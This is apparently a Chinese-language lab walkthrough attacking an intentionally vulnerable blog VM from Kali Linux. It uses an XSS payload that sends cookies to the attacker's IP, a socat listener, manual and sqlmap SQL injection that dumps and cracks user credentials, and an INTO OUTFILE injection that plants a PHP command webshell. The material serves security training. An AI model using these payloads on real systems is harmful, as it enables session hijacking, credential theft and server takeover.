XSS and MySQL FILE
环境配置
虚拟机1
- Debian x64
- NAT Network
虚拟机2
- Kali Linux
- NAT Network
修改虚拟机2的 hosts 文件,前面的实验中都已说明,之后不再赘述。
XSS
通常可以使用 <script>alert(1)</script>
来检测页面中是否包含 XSS 漏洞,但容易 WAF 或其他安全防御机制过滤,使用 '"><
可以在一定程度上避免这个问题
根据提交返回的结果可以判断是否存在漏洞,当特殊符号被编码时将会增加 XSS 攻击的难度,甚至可能就不存在 XSS 漏洞
提交 | 返回结果 | 可利用性 |
---|---|---|
1337'">< |
1337'">< |
没有任何编码,可以使用 <script> 标签进行 XSS 攻击 |
1337'">< |
1337'">< |
> 、< 被编码 |
1337'">< |
1337'">< |
" 、> 、< 被编码 |
1337'">< |
1337'">< |
' 、" 、> 、< 都被编码 |
打开网站是一个博客评论页面
尝试提交内容为 1337'"><
的评论,成功提交并原样显示(没有编码或过滤),直接提交 <script>alert(1)</script>
,成功弹窗
利用 XSS 获取 cookie ,这里的 IP 是攻击者 Kali 主机的 IP ,当用户访问页面时,评论中的脚本会被执行
1 | <script>document.write('<img src="http://10.0.2.6/?'+document.cookie+' "/>');</script> |
在 Kali 主机上监听 80 端口,等待用户访问页面后发送 cookie
socat
在 80 端口上监听 TCP 服务
1 | socat TCP-LISTEN:80,reuseaddr,fork - |
使用浏览器的开发者工具修改 cookie ,使用获取的 cookie 成功登录管理后台
SQL 注入
手工注入
在管理页面可以编辑已有的文章,从路径来看是根据 id 参数返回不同的文章,尝试 SQL 注入,返回错误信息
经测试共包含 4 个字段,这里利用不存在的 id 值成功回显字段,可以利用第 2、3 字段显示信息
获取当前用户、数据库
利用 load_file
读取服务器上的文件,顺便修改页面元素(增加行数)以方便查看内容
- MySQL 的文件权限允许数据库用户访问文件系统
- 在数据库中使用该语句查询拥有文件权限的数据库用户
SELECT user FROM mysql.user WHERE file_priv='Y';
sqlmap
sqlmap 测试 SQL 注入漏洞,使用获得的 cookie
- id 参数可能存在 3 种类型的 SQL 注入漏洞
- 服务器为 Debian 6.0
- Web 应用程序使用 PHP 和 Apache
- 数据库类型为 MySQL
1 | sqlmap http://vulnerable/admin/edit.php?id=1 --cookie="PHPSESSID=fmnckqkjhtbnbti9sbfd5gapu1" |
获取数据库信息,得到 3 个数据库
1 | sqlmap http://vulnerable/admin/edit.php?id=1 --cookie="PHPSESSID=fmnckqkjhtbnbti9sbfd5gapu1" --dbs |
获取 blog 数据库的数据表,得到 4 张表
1 | sqlmap http://vulnerable/admin/edit.php?id=1 --cookie="PHPSESSID=fmnckqkjhtbnbti9sbfd5gapu1" -D blog --tables |
获取 users 数据表的信息,选择破解哈希值,得到用户名和密码
1 | sqlmap http://vulnerable/admin/edit.php?id=1 --cookie="PHPSESSID=fmnckqkjhtbnbti9sbfd5gapu1" -D blog -T users --dump |
Webshell
根据测试 SQL 注入漏洞时得到的错误信息得知,修改页面时的工作路径为 /var/www/classes/post.php
利用 select ... into outfile "filename"
将查询结果写入文件,尝试写入 /var/www/classes/
路径,写入失败
1 | http://vulnerable/admin/edit.php?id=0 union select 1,2,3,4 into outfile "/var/www/classes/s.php" |
写入 /var/www/css/
路径成功
直接将 Webshell 写入 /var/www/css/
路径,文件成功执行
1 |
|
1 | http://vulnerable/admin/edit.php?id=0 union select 1,2,"<?php system($_GET['cmd']); ?>",4 into outfile "/var/www/css/shell.php" |